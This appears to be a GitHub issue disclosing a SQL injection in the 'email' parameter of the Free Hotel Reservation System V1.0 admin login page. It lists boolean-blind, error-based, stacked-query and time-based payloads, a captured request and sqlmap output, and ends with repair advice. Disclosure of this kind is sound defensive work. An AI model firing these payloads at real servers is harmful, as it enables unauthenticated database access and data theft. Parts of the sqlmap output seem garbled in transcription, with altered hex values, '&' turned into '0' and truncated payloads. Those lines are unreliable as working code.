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itsourcecode Free Hotel Reservation System V1.0 "/hotel/admin/login.php" SQL injection #1

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NAME OF AFFECTED PRODUCT(S)

- Free Hotel Reservation System

Vendor Homepage

- <https://itsourcecode.com/free-projects/php-project/hotel-reservation-system-source-code-php-pdo/>

AFFECTED AND/OR FIXED VERSION(S)

- V1.0

submitter

- 黄斯哲(Sizhe Huang), 韦南(Nan Wei)

Contributing organization

- 广州大学(Guangzhou University)

Vulnerable File

- /hotel/admin/login.php

VERSION(S)

- V1.0

Software Link

- <https://itsourcecode.com/free-projects/php-project/hotel-reservation-system-source-code-php-pdo/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/hotel/admin/login.php' file of the 'Free Hotel Reservation System' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Free Hotel Reservation System", I discovered a critical SQL injection vulnerability in the "/hotel/admin/login.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Ionameion:

- 'email' parameter

Payload:

```
---
Parameter: email (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: email=admin@123' RLIKE (SELECT (CASE WHEN (6011=6011) THEN 0x61646d696e40313233

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: email=admin@123' AND (SELECT 1627 FROM(SELECT COUNT(*),CONCAT(0x7178626a71,(SELE

  Type: stacked queries
  Title: MySQL >= 5.0.12 stacked queries (comment)
  Payload: email=admin@123';SELECT SLEEP(5)#&pass=123123&btnlogin=

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: email=admin@123' AND (SELECT 1479 FROM (SELECT(SLEEP(5)))UySv)-- EIua&pass=12312

---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --batch
```

```
POST /hotel/admin/login.php HTTP/1.1
Host: 192.168.60.130
Content-Length: 39
```

```

Cache-Control: max-age=0
Origin: http://192.168.60.130
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr
Referer: http://192.168.60.130/hotel/admin/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=mtjqmpg8p3j74hf29fja7nk921
Connection: keep-alive

email=admin%40123&pass=123123&btnlogin=

```

```

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[04:30:20] [WARNING] IF UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[04:30:20] [INFO] Target URL appears to be UNION injectable with 5 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[04:30:21] [INFO] testing 'MySQL UNION query (60) - 21 to 40 columns'
[04:30:22] [INFO] testing 'MySQL UNION query (60) - 41 to 60 columns'
[04:30:22] [INFO] testing 'MySQL UNION query (60) - 61 to 80 columns'
[04:30:23] [INFO] testing 'MySQL UNION query (60) - 81 to 100 columns'
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 349 HTTP(s) requests:
-----
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: email=admin@123' RLIKE (SELECT (CASE WHEN (6011=6011) THEN 0x01646090e4031223 ELSE 0x28 END))-- juNr0pass=1231230btnlogin=
Type: error-based
Title: MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: email=admin@123' AND (SELECT 1627 FROM(SELECT COUNT(*),CONCAT(0x7178626a71,(SELECT (ELT(1627=1627,1))),0x7171706271,FLOOR(RAND(0)*2))x FROM I
31230btnlogin=
Type: stacked queries
Title: MySQL > 5.0.12 stacked queries (comment)
Payload: email=admin@123';SELECT SLEEP(5)0btnlogin=
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@123' AND (SELECT 1479 FROM (SELECT(SLEEP(5)))0y5v)-- E1u0pass=1231230btnlogin=
-----
[04:30:23] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.30, PHP 5.0.40
back-end DBMS: MySQL > 5.0 (MariaDB fork)

```

Suggested repair

1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

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Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects


Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode

No branches or pull requests

Participants

